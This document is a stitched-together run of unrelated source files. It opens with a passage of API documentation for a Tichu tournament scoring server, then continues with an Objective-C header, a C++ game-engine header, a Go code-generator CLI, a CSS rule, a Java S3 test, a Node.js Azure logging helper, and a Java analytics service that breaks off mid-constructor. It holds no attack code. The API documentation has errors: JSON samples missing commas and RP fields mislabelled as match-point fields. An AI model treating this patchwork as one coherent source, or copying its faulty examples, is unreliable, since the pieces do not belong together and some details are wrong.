* `ns_pair`: Integer. The number of the north-south pair. Must be between 1 and `no_pairs`,
  inclusive.
* `ew_pair`: Integer. The number of the east-west pair. Must be between 1 and `no_pairs`,
  inclusive.

#### Status codes

* **200**: The hand described by the URL exists.
* **204**: The hand does not exist, but the tournament does.
* **404**: The tournament with the given ID does not exist, or the board/pair numbers are invalid.
* **500**: Server failed to determine the hand's/tournament's existence (or lack thereof).

### Get information on a possibly played hand (GET /api/tournaments/:id/hands/:board_no/:ns_pair/:ew_pair)

#### Request

* `id`: String. An opaque, unique ID returned from `GET /tournaments` or `POST /tournaments`.
* `board_no`: Integer. The board number for this hand. Must be between 1 and `no_boards`,
  inclusive.
* `ns_pair`: Integer. The number of the north-south pair. Must be between 1 and `no_pairs`,
  inclusive.
* `ew_pair`: Integer. The number of the east-west pair. Must be between 1 and `no_pairs`,
  inclusive.

#### Status codes

* **200**: The hand has been scored and results were retrieved.
* **204**: The hand does not exist or was deleted, but the tournament does.
* **404**: The tournament with the given ID does not exist, or the board/pair numbers are invalid.
* **500**: Server failed to retrieve the hand or tournaments.

#### Response

<!-- time 4 code -->
    {
        "calls": {
            "north": "T",
            "east": "GT",
            "west": "",
            "south": ""
        },
        "ns_score": 150,
        "ew_score": -150,
        "notes": "hahahahahaha what a fool"
    }

* `calls`: Object. Calls made by players. May have entries for `north`, `east`, `west`, `south`.
  Each entry may be `"T"`, indicating a call of Tichu, `"GT"`, indicating a call of Grand Tichu,
  or `""`, indicating no call. If an entry is absent, it is assumed to mean no call. Required.
* `ns_score`: Integer or string. The score of the north-south pair, including Tichu bonuses and
  penalties. May also be the string "AVG", "AVG+", "AVG++", "AVG-", or "AVG--". Required.
* `ew_score`: Integer or string. The score of the east-west pair, including Tichu bonuses and
  penalties. May also be the string "AVG", "AVG+", "AVG++", "AVG-", or "AVG--". Required.
* `notes`: String. Any additional notes about the hand added by the scorer or the director.
  Required.

### Submit score for hand (PUT /api/tournaments/:id/hands/:board_no/:ns_pair/:ew_pair)

**Requires that the user is authenticated and owns this tournament or that the request
header contain an appropriate pair id and the lock state of the tournament allows this**,
Submits a score for the given hand. The tournament can be in three states, LOCKED
LOCKABLE, and UNLOCKED. The tournament owner is always allowed to issue a put call.
A pair-id pair can succeed with a PUT request only if the tournament is UNLOCKED or
the tournament is LOCKABLE and the hand does not have an existing score recording.

#### Request Header
Optional. Necessary only for overriding hand scores for non-tournament owners.
<!-- time 4 code -->
    X-tichu-pair-code: MANQ

* `X-tichu-pair-code`: 4 character capitalized identifier of one of the pairs
  involved in this hand. This ID is the same as returned from
  `GET /tournaments/:id/pairid/:pair_no`

#### Request

* `id`: String. An opaque, unique ID returned from `GET /tournaments` or `POST /tournaments`.
* `board_no`: Integer. The board number for this hand. Must be between 1 and `no_boards`,
  inclusive.
* `ns_pair`: Integer. The number of the north-south pair. Must be between 1 and `no_pairs`,
  inclusive, and different from `ew_pair`.
* `ew_pair`: Integer. The number of the east-west pair. Must be between 1 and `no_pairs`,
  inclusive, and different from `ns_pair`.

<!-- time 4 code -->

    {
        "calls": {
            "north": "T",
            "east": "GT",
            "west": "",
            "south": ""
        },
        "ns_score": 150,
        "ew_score": -150,
        "notes": "hahahahahaha what a fool"
    }

* `calls`: Object. Calls made by players. May have entries for `north`, `east`, `west`, `south`.
  Each entry may be `"T"`, indicating a call of Tichu, `"GT"`, indicating a call of Grand Tichu,
  or `""`, indicating no call. If an entry is absent, it is assumed to mean no call. Required.
* `ns_score`: Integer or string. The score of the north-south pair, including Tichu bonuses and
  penalties. May also be the string "AVG", "AVG+", "AVG++", "AVG-", or "AVG--". Required.
* `ew_score`: Integer or string. The score of the east-west pair, including Tichu bonuses and
  penalties. May also be the string "AVG", "AVG+", "AVG++", "AVG-", or "AVG--". Required.
* `notes`: String. Any additional notes about the hand added by the scorer or the director.
  Required.

#### Status codes

* **204**: The hand has been scored.
* **400**: Validation failed for one or more of the fields in the score.
* **403**: The user does not own this tournament is not logged in and the request was not authenticated
  with the right pair id.
* **404**: The tournament with the given ID does not exist, the board/pair numbers are invalid
  or the pairs are not scheduled to play this board in the tournament movement scheme.
* **405**: The tournament with this ID exists, but the tournament lock status does not
  permit overwriting an existing hand.
* **500**: Server failed to score the hand for any other reason.

#### Response

Only set for **403** Status code. Returns current score for this hand.

    {
       "calls": {
            "north": "T",
            "east": "GT",
            "west": "",
            "south": ""
       },
       "ns_score": 150,
       "ew_score": -150,
       "notes": "hahahahahaha what a fool"
    }

* `calls`: Object. Calls made by players. May have entries for `north`, `east`, `west`, `south`.
  Each entry may be `"T"`, indicating a call of Tichu, `"GT"`, indicating a call of Grand Tichu,
  or `""`, indicating no call. If an entry is absent, it is assumed to mean no call.
* `ns_score`: Integer or string. The score of the north-south pair, including Tichu bonuses and
   penalties. May also be the string "AVG", "AVG+", "AVG++", "AVG-", or "AVG--".
* `ew_score`: Integer or string. The score of the east-west pair, including Tichu bonuses and
   penalties. May also be the string "AVG", "AVG+", "AVG++", "AVG-", or "AVG--".
* `notes`: String. Any additional notes about the hand added by the scorer or the director.

### Delete score for hand (DELETE /api/tournaments/:id/hands/:board_no/:ns_pair/:ew_pair)

**Requires authentication and ownership of the given tournament.**
Deletes the score for the given hand from the server, allowing it to be scored again.

#### Request

* `id`: String. An opaque, unique ID returned from `GET /tournaments` or `POST /tournaments`.
* `board_no`: Integer. The board number for this hand. Must be between 1 and `no_boards`,
  inclusive.
* `ns_pair`: Integer. The number of the north-south pair. Must be between 1 and `no_pairs`,
  inclusive, and different from `ew_pair`.
* `ew_pair`: Integer. The number of the east-west pair. Must be between 1 and `no_pairs`,
  inclusive, and different from `ns_pair`.

#### Status codes

* **204**: The score for the hand has been erased.
* **401**: User is not logged in.
* **403**: The user is logged in, but does not own this tournament.
* **404**: The tournament with the given ID does not exist, or the board/pair numbers are invalid.
* **500**: Server failed to delete the hand for any other reason.

### Get scored results for a hand (GET /api/tournaments/:id/hands/handresults/:board_no/)

**Requires either authentication and ownership of this tournament or that the
tournament is locked or lockable, and the request is accompanied by a request
header with an appropriate pair id for pair_no and that pair to be done with board_no**

Fetches the list of all the registered scores for board_no.

#### Request Header
<!-- time 4 code -->
    X-tichu-pair-code: MANQ
    X-position: E

* `X-tichu-pair-code`: Optional. Necessary only for non-tournament owners. 4
  character capitalized identifier of one of the pairs involved in this hand.
  This ID is the same as returned from `GET /tournaments/:id/pairid/:pair_no`
* `X-position`: Required. Point of view from which the hand is sorted. One of "E" or "N"

#### Request

* `id`: String. An opaque, unique ID returned from `GET /tournaments` or `POST /tournaments`.
* `board_no`: Integer. The board number for this hand. Must be between 1 and `no_boards`,
  inclusive.

<!-- time 4 code -->

    {
        "results": [
            {
                "calls": {
                    "north": "",
                    "south": "T",
                    "west": "",
                    "east": ""
                },
                "ew_score": 20,
                "ns_score": 180
                "ns_pair": 4,
                "ew_pair": 6,
                "mps": 1.5
            }
        ]
    }

* `results` : List of objects. Every score recorded for this hand sorted in `mps`
  descending order.
  * `calls`: Object. Calls made by players. May have entries for `north`, `east`, `west`, `south`.
    Each entry may be `"T"`, indicating a call of Tichu, `"GT"`, indicating a call of Grand Tichu,
    or `""`, indicating no call. If an entry is absent, it is assumed to mean no call. Must be null
    or not present for a hand deletion change. Optional.
  * `ns_score`: Integer or string. The score of the north-south pair, including Tichu bonuses and
    penalties. May also be the string "AVG", "AVG+", "AVG++", "AVG-", or "AVG--". Must be null or
    not present for a hand deletion change. Required.
  * `ew_score`: Integer or string. The score of the east-west pair, including Tichu bonuses and
    penalties. May also be the string "AVG", "AVG+", "AVG++", "AVG-", or "AVG--". Must be null
    or not present for a hand deletion change. Required.
  * `ns_pair`: Integer. The number of the north-south pair. Must be between 1 and `no_pairs`,
    inclusive.
  * `ew_pair`: Integer. The number of the east-west pair. Must be between 1 and `no_pairs`,
    inclusive.
  * `mps`: Float. Matchpoints, as seen from the perspective of position indicated by
    `X-position`.

#### Status codes

* **200**: The hand results were successfully fetched.
* **403**: The user does not own this tournament, is not logged in, the request was not authenticated
  with the right pair id, or the user has not yet played the tournament.
* **404**: The tournament with the given ID does not exist, the board/pair numbers are invalid,
  or the tournament is not locked/lockable.
* **500**: Server failed to retrieve the results for the hand for any other reason.

### Get change log for a hand (GET /api/tournaments/:id/hands/changelog/:board_no/:ns_pair/:ew_pair)

**Requires authentication and ownership of the given tournament.**
Gets a complete change log for a specific hand.

#### Request

* `id`: String. An opaque, unique ID returned from `GET /tournaments` or `POST /tournaments`.
* `board_no`: Integer. The board number for this hand. Must be between 1 and `no_boards`,
  inclusive.
* `ns_pair`: Integer. The number of the north-south pair. Must be between 1 and `no_pairs`,
  inclusive, and different from `ew_pair`.
* `ew_pair`: Integer. The number of the east-west pair. Must be between 1 and `no_pairs`,
  inclusive, and different from `ns_pair`.

<!-- time 4 code -->

    {
        "changes": [
            {
                "change": {
                    "calls": {
                        "north": "",
                        "south": "T",
                        "west": "",
                        "east": ""
                    },
                    "ew_score": 20,
                    "ns_score": 180
                },
                "timestamp_sec": "1482804837.85",
                "changed_by": 1
            },
            {
                "change": {
                    "ns_score": 180,
                    "calls": {
                        "north": "",
                        "south": "T",
                        "west": "",
                        "east": ""
                    },
                    "ew_score": 20,
                    "notes" : "Hello there"
                },
                "timestamp_sec": "1482804384.03",
                "changed_by": 1
            }
        ]
    }

* `changes` : List of objects. Every change made to the score ordered in reverse
  timestamp order. Deletions are have all empty fields except `timestamp_sec`. May be empty
  if the hand was never scored.
  * `change`: Object. The change made at a given time. Required.
    * `calls`: Object. Calls made by players. May have entries for `north`, `east`, `west`, `south`.
      Each entry may be `"T"`, indicating a call of Tichu, `"GT"`, indicating a call of Grand Tichu,
      or `""`, indicating no call. If an entry is absent, it is assumed to mean no call. Must be null
      or not present for a hand deletion change. Optional.
    * `ns_score`: Integer or string. The score of the north-south pair, including Tichu bonuses and
      penalties. May also be the string "AVG", "AVG+", "AVG++", "AVG-", or "AVG--". Must be null or
      not present for a hand deletion change. Required.
    * `ew_score`: Integer or string. The score of the east-west pair, including Tichu bonuses and
      penalties. May also be the string "AVG", "AVG+", "AVG++", "AVG-", or "AVG--". Must be null
      or not present for a hand deletion change. Required.
    * `notes`: String. Any additional notes about the hand added by the scorer or the director.
      Must be null or not present for a hand deletion change. Required.
  * `timestamp_sec`: Float. Time in seconds from epoch when the change was made. Required.
  * `changed_by`: Integer. Pair number of the team that made the change. If 0, change was made
    by the director. Required.

#### Status codes

* **204**: The change log was successfully fetched.
* **403**: The user does not own this tournament or is not logged in.
* **404**: The tournament with the given ID does not exist, the board/pair numbers are invalid
  or the pairs are not scheduled to play this board in the tournament movement scheme.
* **500**: Server failed to score the hand for any other reason.

### Check hands that have not been scored yet (GET /api/tournaments/:id/handStatus)

**Requires authentication and ownership of the given tournament.**
Checks if all the hands to be played in this tournament have been scored and the scored/
unscored status of all hands.

#### Request

* `id`: String. An opaque, unique ID returned from `GET /tournaments` or `POST /tournaments`.

#### Status Codes
* **200**: The hand status has been returned.
* **401**: User is not logged in.
* **403**: The user is logged in, but does not own this tournament.
* **404**: The tournament with the given ID does not exist.
* **500**: Server failed to generate the list of hands for any other reason.

#### Response

    {
        "rounds":  [
            {
                "round": 1,
                "scored_hands": [
                     {
                         "hand" : 13
                         "ew_pair" : 1
                         "ew_names": ["Anna", "Banana"]
                         "ns_pair" : 2
                         "ns_names": ["Ewww", "I hate those"]
                         "table" : 12
                     }
                ]
                "unscored_hands": [
                     {
                         "hand_no" : 13
                         "ew_pair" : 1
                         "ew_names": ["Blah", "blahblah"]
                         "ns_pair" : 2
                         "ns_names": ["Names"]
                         "table" : 12
                     }
                ]
            }
        ]
    }

* `rounds`: List of objects. Each object contains the status of all hands in the round.
  Sorted in round order, where the number of objects is the number of rounds in the
  tournament's movement.
  * `round`: Integer. Number of the round.
  * `scored_hands`: List of objects. Each object is a hand that has already been
    scored in this round. Sorted in hand number, followed by table order.
    * `hand` : Integer. Number of the hand. Must be between 1 and the number of hands
      in this tournament configuration.
    * `ew_pair`: Integer. Number of the East/West pair in this matchup. Must be between 1
      and the number of pairs in the tournament configuration.
    * `ew_names`: List of strings. Names of players playing East/West. Must have length
      at most 2.
    * `ns_pair`: Integer. Number of the North/South pair in this matchup. Must be between 1
      and the number of pairs in the tournament configuration.
    * `ns_names`: List of strings. Names of players playing North/South. Must have length
      at most 2.
    * `table` : The table at which this hand is being played. Must be between 1 and
      the total number of tables in this tournament configuration.
  * `unscored_hands`: List of objects. Each object is a hand that has not yet been
    scored in this round. Sorted in hand number, followed by table order.
    * `hand_no` : Integer. Number of the hand. Must be between 1 and the number of hands
      in this tournament configuration.
    * `ew_pair`: Integer. Number of the East/West pair in this matchup. Must be between 1
      and the number of pairs in the tournament configuration.
    * `ew_names`: List of strings. Names of players playing East/West. Must have length
      at most 2.
    * `ns_pair`: Integer. Number of the North/South pair in this matchup. Must be between 1
      and the number of pairs in the tournament configuration.
    * `ns_names`: List of strings. Names of players playing North/South. Must have length
      at most 2.
    * `table` : The table at which this hand is being played. Must be between 1 and
      the total number of tables in this tournament configuration.

### Generate final score (GET /api/tournaments/:id/results)

**Requires authentication and ownership of the given tournament.**
Calculates and returns the final detailed results of the tournament.

#### Request

* `id`: String. An opaque, unique ID returned from `GET /tournaments` or `POST /tournaments`.

#### Status codes

* **200**: The score has been generated.
* **401**: User is not logged in.
* **403**: The user is logged in, but does not own this tournament.
* **404**: The tournament with the given ID does not exist.
* **500**: Server failed to generate the score for any other reason.

#### Response

    {
        "pair_summaries": [{
            "pair_no": 3,
            "mps": 50,
            "rps": 90
            "aps": 90
        }],
        "hands": [{
            "board_no": 3,
            "ns_pair": 4,
            "ew_pair": 6,
            "calls": {
                "north": "T",
                "east": "GT",
                "west": "",
                "south": ""
            },
            "ns_score": 150,
            "ew_score": -150,
            "ns_mps": 60,
            "ew_mps": 20,
            "ns_rps": 30,
            "ew_rps": 40,
            "ns_aps": 5
            "ew_aps": 2
            "notes": "hahahahahaha what a fool"
        }]
    }

* `pair_summaries`: List of objects. The summary of results for all pairs playing in this
  tournament. There will be exactly one for each pair between 1 and `no_pairs`.
    * `pair_no`: Integer. The number of the pair this summary is for.
    * `mps`: Float. The total number of match points scored by this pair in the tournament.
    * `rps`: Float. The total number of RPs scored by this pair in the tournament.
    * `aps`: Float. The total number of APs scored by this pair in the tournament.
* `hands`: List of objects. The final records of all hands played in this tournament. There will be
  at most one per combination of `board_no`, `ns_pair`, and `ew_pair`.
    * `board_no`: Integer. The board number for this hand. Must be between 1 and `no_boards`,
      inclusive.
    * `ns_pair`: Integer. The number of the north-south pair. Must be between 1 and `no_pairs`,
      inclusive, and different from `ew_pair`.
    * `ew_pair`: Integer. The number of the east-west pair. Must be between 1 and `no_pairs`,
      inclusive, and different from `ns_pair`.
    * `calls`: Object. Calls made by players. May have entries for `north`, `east`, `west`, `south`.
      Each entry may be `"T"`, indicating a call of Tichu, `"GT"`, indicating a call of Grand Tichu,
      or `""`, indicating no call. If an entry is absent, it is assumed to mean no call.
    * `ns_score`: Integer or string. The score of the north-south pair, including Tichu bonuses and
      penalties. May also be the string "AVG", "AVG+", "AVG++", "AVG-", or "AVG--".
    * `ew_score`: Integer or string. The score of the east-west pair, including Tichu bonuses and
      penalties. May also be the string "AVG", "AVG+", "AVG++", "AVG-", or "AVG--".
    * `ns_mps`: Float. The number of match points scored by the north-south pair in this hand.
    * `ew_mps`: Float. The number of match points scored by the east-west pair in this hand.
    * `ns_mps`: Float. The number of RPs scored by the north-south pair in this hand.
    * `ew_mps`: Float. The number of RPs scored by the east-west pair in this hand.
    * `ns_aps`: Float. The number of APs scored by the north-south pair in this hand.
    * `ew_aps`: Float. The number of APs scored by the east-west pair in this hand.
    * `notes`: String. Any additional notes about the hand added by the scorer or the director.

### Generate final score in XLSX format (GET /api/tournaments/:id/xlsresults)

**Requires authentication and ownership of the given tournament.**
Calculates and returns the final detailed results of the tournament as a .xlsx file.

#### Request

* `id`: String. An opaque, unique ID returned from `GET /tournaments` or `POST /tournaments`.

#### Status codes

* **200**: The score has been generated.
* **401**: User is not logged in.
* **403**: The user is logged in, but does not own this tournament.
* **404**: The tournament with the given ID does not exist.
* **500**: Server failed to generate the score for any other reason.

#### Response
.xlsx file with all the results.

### Download hand results in PDF format (GET /api/tournaments/:id/pdfboards)

**Requires authentication and ownership of the given tournament.**
Each tournament has an associated set of hands. This returns them in pdf format.

#### Request

* `id`: String. An opaque, unique ID returned from `GET /tournaments` or `POST /tournaments`.

#### Status codes

* **200**: The score has been generated.
* **401**: User is not logged in.
* **403**: The user is logged in, but does not own this tournament.
* **404**: The tournament with the given ID does not exist.
* **500**: Server failed to return the boards for any other reason.

#### Response
.pdf file with all hands used. Returns 35 hands regardless of the number of
boards in the tournament. The extra hands may be used as substitutes.

#### Send a welcome email (POST /api/tournaments/:id/welcomeemail)

**Requires authentication and ownership of the given tournament.**
Sends a an email to a subset of players that includes a player code the players
can use to access their schedule. The sender of the email is the logged in player.

#### Request
* `id`: String. An opaque, unique ID returned from `GET /tournaments` or `POST /tournaments`.

<!-- time 4 code -->
    {
        "emails": ["playa1@playas.com", "player2@playas.com"]
    }
* `emails`: List of strings. List of emails of the players whose player code will be sent out.

#### Status codes
* **201**: The email was successfully sent.
* **400**: No emails were specified.
* **401**: User is not logged in.
* **403**: The user is logged in, but does not own this tournament.
* **404**: The tournament with the given ID does not exist.
* **500**: Server failed to send an email for any other reason.

#### Send a results email (POST /api/tournaments/:id/resultsemail)

**Requires authentication and ownership of the given tournament.**
Sends a an email to a subset of players that includes the hand record and
XLX spreadsheet of the results. Will not send an email if all scores have not
been entered. If the director is not one of the players of the tournament they
will also get a copy of the email.

#### Request
* `id`: String. An opaque, unique ID returned from `GET /tournaments` or `POST /tournaments`.

<!-- time 4 code -->
    {
        "emails": ["playa1@playas.com", "player2@playas.com"]
    }
* `emails`: List of strings. List of emails of the players who will receive the email.

#### Status codes
* **201**: The email was successfully sent.
* **400**: No emails were specified or the tournament is not ready for results.
* **401**: User is not logged in.
* **403**: The user is logged in, but does not own this tournament.
* **404**: The tournament with the given ID does not exist.
* **500**: Server failed to send an email for any other reason.


text:
#import <Cocoa/Cocoa.h>

@interface CKDirectoryNode : NSObject
{
	NSString *myName;
	CKDirectoryNode *myParent; // not retained
	NSMutableArray *myContents;
	NSMutableDictionary *myProperties;
	NSImage *myIcon;
	NSMutableDictionary *myCachedIcons;
	NSData *myCachedContents;
}

+ (CKDirectoryNode *)nodeWithName:(NSString *)name;
+ (CKDirectoryNode *)nodeForPath:(NSString *)path withRoot:(CKDirectoryNode *)root;
+ (CKDirectoryNode *)addContents:(NSArray *)contents withPath:(NSString *)file withRoot:(CKDirectoryNode *)root;

- (NSString *)name;
- (NSImage *)icon;
- (NSImage *)iconWithSize:(NSSize)size;

- (void)addContent:(CKDirectoryNode *)content;
- (void)addContents:(NSArray *)contents;
- (void)setContents:(NSArray *)contents;
- (void)mergeContents:(NSArray *)contents;
- (NSArray *)contents;

- (unsigned)countIncludingHiddenFiles:(BOOL)flag;
- (NSArray *)contentsIncludingHiddenFiles:(BOOL)flag;
- (NSArray *)filteredContentsWithNamesLike:(NSString *)match includeHiddenFiles:(BOOL)flag;

- (NSString *)kind;
- (unsigned long long)size;
- (BOOL)isDirectory;
- (BOOL)isFilePackage;
- (BOOL)isChildOfFilePackage;

- (void)setParent:(CKDirectoryNode *)parent;
- (CKDirectoryNode *)parent;
- (BOOL)isChildOf:(CKDirectoryNode *)node;
- (CKDirectoryNode *)root;
- (NSString *)path;

- (void)setProperty:(id)prop forKey:(NSString *)key;
- (id)propertyForKey:(NSString *)key;
- (void)setProperties:(NSDictionary *)props;
- (NSDictionary *)properties;

- (void)setCachedContents:(NSData *)contents;
- (NSData *)cachedContents;

@end

extern NSString *CKDirectoryNodeDidRemoveNodesNotification;


text:
// Copyright (c) 2007-2016 Erick Jung
//
// This code is distributed under the terms and conditions of the MIT license.
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.

#ifndef AIKA_H_
#define AIKA_H_

#include <core/Namespace-core.h>
#include <io/Namespace-io.h>
#include <lang/Namespace-lang.h>
#include <math/Namespace-math.h>
#include <render/Namespace-render.h>
#include <scene/Namespace-scene.h>
#include <img/Namespace-img.h>

/**
 * @mainpage Aika API Documentation
 * @section author Author
 * - Erick Jung (erickjung@gmail.com)
 *
 * @section intro Introduction
 *
 * Welcome to the Aika API documentation.\n\n
 * Aika is a simple and powerful Game Engine, written in C++ (without any platform dependence),\n
 * you could compile and run aika on several types of platform (including nintendo ds, symbian, etc).
 *
 * The main proposal of the engine is to create a portable and easy of use framework to create multimedia content, e.g. games.
 *
 * @section license License
 *
 * This library is free software; you can redistribute it and/or
 * modify it under the terms of the GNU Lesser General Public
 * License as published by the Free Software Foundation; either
 * version 2.1 of the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public
 * License along with this library; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
 */

/**
 * @page compile Compile Instructions
 *
 * @section intro Details
 *
 * You could compile Aika using the visual c++ 8 project.
 *
 * - To use the Visual C++ 8, go to "\projects\vc8\".
 *
 * Pre-Processor:
 * AK_DYN_EXPORT
 * - Used to compile the lib/dll
 *
 * AK_DEBUG
 * - If you wanna use memory, assertion and trace traking
 *
 * AK_OPENGL
 * - Used to compile the engine with opengl support.
 *
 * AK_DIRECTX
 * - Used to compile the engine with directx support. (removed for now).
 */

/**
 * @brief
 * The aika namespace
 *
 * @note
 * Used to group all the namespaces
 */
namespace aika
{
    using namespace core;
    using namespace io;
    using namespace lang;
    using namespace math;
    using namespace render;
    using namespace scene;
    using namespace img;
}

#endif /*AIKA_H_*/


text:
package main

import (
	"github.com/ncbray/cmdline"
	"github.com/ncbray/compilerutil/fs"
	"github.com/ncbray/compilerutil/writer"
	"github.com/ncbray/rommy/generate/golang"
	"github.com/ncbray/rommy/generate/haxe"
	"github.com/ncbray/rommy/runtime"
	"github.com/ncbray/rommy/schema"
	"go/format"
	"io/ioutil"
	"os"
	"path/filepath"
)

func formatGoFile(src fs.DataInput, dst fs.DataOutput) error {
	data, err := src.GetBytes()
	if err != nil {
		return err
	}
	data, err = format.Source(data)
	if err != nil {
		return err
	}
	return dst.SetBytes(data)
}

func baseName(path string) string {
	_, file := filepath.Split(path)
	ext := filepath.Ext(file)
	return file[0 : len(file)-len(ext)]
}

func generateGo(input_file string, regions []*runtime.RegionSchema, output_dir string, buffered fs.BufferedFileSystem) {
	// Infer the go package from the absolute path of the output directory.
	abs_output_dir, err := filepath.Abs(output_dir)
	if err != nil {
		println(err.Error())
		os.Exit(1)
	}
	pkg := filepath.Base(abs_output_dir)
	if pkg == "" || pkg == "." {
		println("Cannot infer package for " + abs_output_dir)
		os.Exit(1)
	}

	tmpf := buffered.TempFile()
	ow, err := tmpf.GetWriter()
	if err != nil {
		println(err.Error())
		os.Exit(1)
	}
	out := writer.MakeTabbedWriter("\t", ow)
	golang.GenerateSource(pkg, regions, out)

	outf := buffered.OutputFile(filepath.Join(output_dir, baseName(input_file)+".go"), 0644)
	err = formatGoFile(tmpf, outf)
	if err != nil {
		println("formatting error - " + err.Error())
		os.Exit(1)
	}
}

func main() {
	inputFile := &cmdline.FilePath{
		MustExist: true,
	}
	outputFile := &cmdline.FilePath{
		MustExist: false,
	}

	var input string
	var go_out string
	var haxe_out string
	var haxe_package string

	app := cmdline.MakeApp("rommyc")
	app.Flags([]*cmdline.Flag{
		{
			Long:  "go_out",
			Value: outputFile.Set(&go_out),
		},
		{
			Long:  "haxe_out",
			Value: outputFile.Set(&haxe_out),
		},
		{
			Long:  "haxe_package",
			Value: cmdline.String.Set(&haxe_package),
		},
	})
	app.RequiredArgs([]*cmdline.Argument{
		{
			Name:  "input",
			Value: inputFile.Set(&input),
		},
	})
	app.Run(os.Args[1:])

	if go_out == "" && haxe_out == "" {
		println("ERROR no outputs specified for " + input)
		os.Exit(1)
	}

	if haxe_out != "" {
		if haxe_package == "" {
			println("ERROR haxe package not specified")
			os.Exit(1)
		}
	} else {
		if haxe_package != "" {
			println("ERROR haxe package specified when not generating haxe")
			os.Exit(1)
		}
	}

	data, err := ioutil.ReadFile(input)
	if err != nil {
		println(err.Error())
		os.Exit(1)
	}

	_, result, ok := schema.ParseSchema(input, data)
	if !ok {
		os.Exit(1)
	}
	//runtime.DumpText(result, os.Stdout)
	regions := schema.Resolve(result)

	tmp, err := fs.MakeTempDir("rommyc_")
	if err != nil {
		println(err.Error())
		os.Exit(1)
	}
	defer tmp.Cleanup()
	buffered := fs.MakeBufferedFileSystem(tmp)

	if go_out != "" {
		generateGo(input, regions, go_out, buffered)
	}

	if haxe_out != "" {
		err = haxe.GenerateSources(input, regions, haxe_out, haxe_package, buffered)
		if err != nil {
			println(err.Error())
			os.Exit(1)
		}
	}

	buffered.Commit()
}


text:
.control-group + .control-group {
	margin-top: 20px;
}


text:
package com.jcabi.s3;

import com.amazonaws.services.s3.AmazonS3;
import org.hamcrest.MatcherAssert;
import org.hamcrest.Matchers;
import org.junit.Rule;
import org.junit.Test;

/**
 * Integration case for {@link Region}.
 *
 * @author Yegor Bugayenko (yegor@tpc2.com)
 * @version $Id$
 * @since 0.1
 */
public final class RegionITCase {

    /**
     * Bucket we're working with.
     * @checkstyle VisibilityModifier (3 lines)
     */
    @Rule
    public final transient BucketRule rule = new BucketRule();

    /**
     * Region can connect to AWS and check bucket existence.
     * @throws Exception If fails
     */
    @Test
    public void connectsToAmazon() throws Exception {
        final Bucket bucket = this.rule.bucket();
        final AmazonS3 aws = bucket.region().aws();
        MatcherAssert.assertThat(
            aws.doesBucketExist(bucket.name()),
            Matchers.is(true)
        );
    }

}


text:
var path = require('path');

module.exports = function (configuration) {
    // settings.json file is located in D:\home\site\diagnostics - site root is at D:\home\site\wwwroot
    var basePath = configuration.basePath || './',
        settingsPath = path.resolve(basePath, '../diagnostics/settings.json'),
        levelMappings = {
            'Verbose': 'silly',
            'Information': 'info',
            'Error': 'error',
            'Warning': 'warn'
        };

    try {
        var settings = require(settingsPath);
        // if AzureDriveEnabled is true (i.e. Application Logging (filesystem) is turned on in the portal), this will override previous settings
        if(settings.AzureDriveEnabled && settings.AzureDriveTraceLevel) {
            configuration.logging = configuration.logging || {};
            configuration.logging.level = levelMappings[settings.AzureDriveTraceLevel] || 'warn';
        }
    } catch(e) { }

    return configuration;
}


text:
package org.hisp.dhis.analytics.event.data;

import static com.google.common.base.Preconditions.checkNotNull;
import static org.hisp.dhis.common.ValueType.DATE;
import static org.hisp.dhis.common.ValueType.NUMBER;
import static org.hisp.dhis.common.ValueType.TEXT;

import org.hisp.dhis.analytics.AnalyticsSecurityManager;
import org.hisp.dhis.analytics.data.handler.SchemaIdResponseMapper;
import org.hisp.dhis.analytics.event.EnrollmentAnalyticsManager;
import org.hisp.dhis.analytics.event.EnrollmentAnalyticsService;
import org.hisp.dhis.analytics.event.EventQueryParams;
import org.hisp.dhis.analytics.event.EventQueryPlanner;
import org.hisp.dhis.analytics.event.EventQueryValidator;
import org.hisp.dhis.analytics.event.LabelMapper;
import org.hisp.dhis.common.Grid;
import org.hisp.dhis.common.GridHeader;
import org.hisp.dhis.system.grid.ListGrid;
import org.hisp.dhis.util.Timer;
import org.springframework.stereotype.Service;

/**
 * @author Markus Bekken
 */
@Service( "org.hisp.dhis.analytics.event.EnrollmentAnalyticsService" )
public class DefaultEnrollmentAnalyticsService
    extends
    AbstractAnalyticsService
    implements
    EnrollmentAnalyticsService
{
    private static final String NAME_TEI = "Tracked entity instance";

    private static final String NAME_PI = "Enrollment";

    private static final String NAME_GEOMETRY = "Geometry";

    private static final String NAME_ENROLLMENT_DATE = "Enrollment date";

    private static final String NAME_INCIDENT_DATE = "Incident date";

    private static final String NAME_STORED_BY = "Stored by";

    private static final String NAME_CREATED_BY_DISPLAY_NAME = "Created by";

    private static final String NAME_LAST_UPDATED_BY_DISPLAY_NAME = "Last updated by";

    private static final String NAME_LAST_UPDATED = "Last updated on";

    private static final String NAME_LONGITUDE = "Longitude";

    private static final String NAME_LATITUDE = "Latitude";

    private static final String NAME_ORG_UNIT_NAME = "Organisation unit name";

    private static final String NAME_ORG_UNIT_CODE = "Organisation unit code";

    private static final String NAME_PROGRAM_STATUS = "Program status";

    private final EnrollmentAnalyticsManager enrollmentAnalyticsManager;

    private final EventQueryPlanner queryPlanner;

    public DefaultEnrollmentAnalyticsService( EnrollmentAnalyticsManager enrollmentAnalyticsManager,
